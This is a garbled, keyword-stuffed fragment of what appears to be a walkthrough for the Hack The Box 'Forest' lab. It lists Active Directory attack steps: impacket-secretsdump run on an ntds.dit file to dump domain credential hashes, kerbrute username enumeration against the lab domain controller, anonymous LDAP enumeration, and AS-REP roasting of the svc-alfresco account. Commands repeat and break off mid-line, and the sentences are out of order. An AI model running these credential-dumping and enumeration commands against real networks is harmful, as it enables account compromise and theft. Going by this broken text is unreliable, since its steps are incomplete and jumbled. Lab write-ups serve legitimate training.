impacket-secretsdump -ntds ntds.dit -system system.save LOCAL
: Since anonymous LDAP binds are allowed, you can enumerate users without credentials. Tool options ldapsearch enum4linux to list accounts like svc-alfresco Phase 2: Initial Access (AS-REP Roasting) One of the discovered accounts, svc-alfresco , has "Do not require Kerberos pre-authentication" enabled. Hack The Box forest hackthebox walkthrough best
kerbrute userenum --dc 10.10.10.161 -d htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt impacket-secretsdump -ntds ntds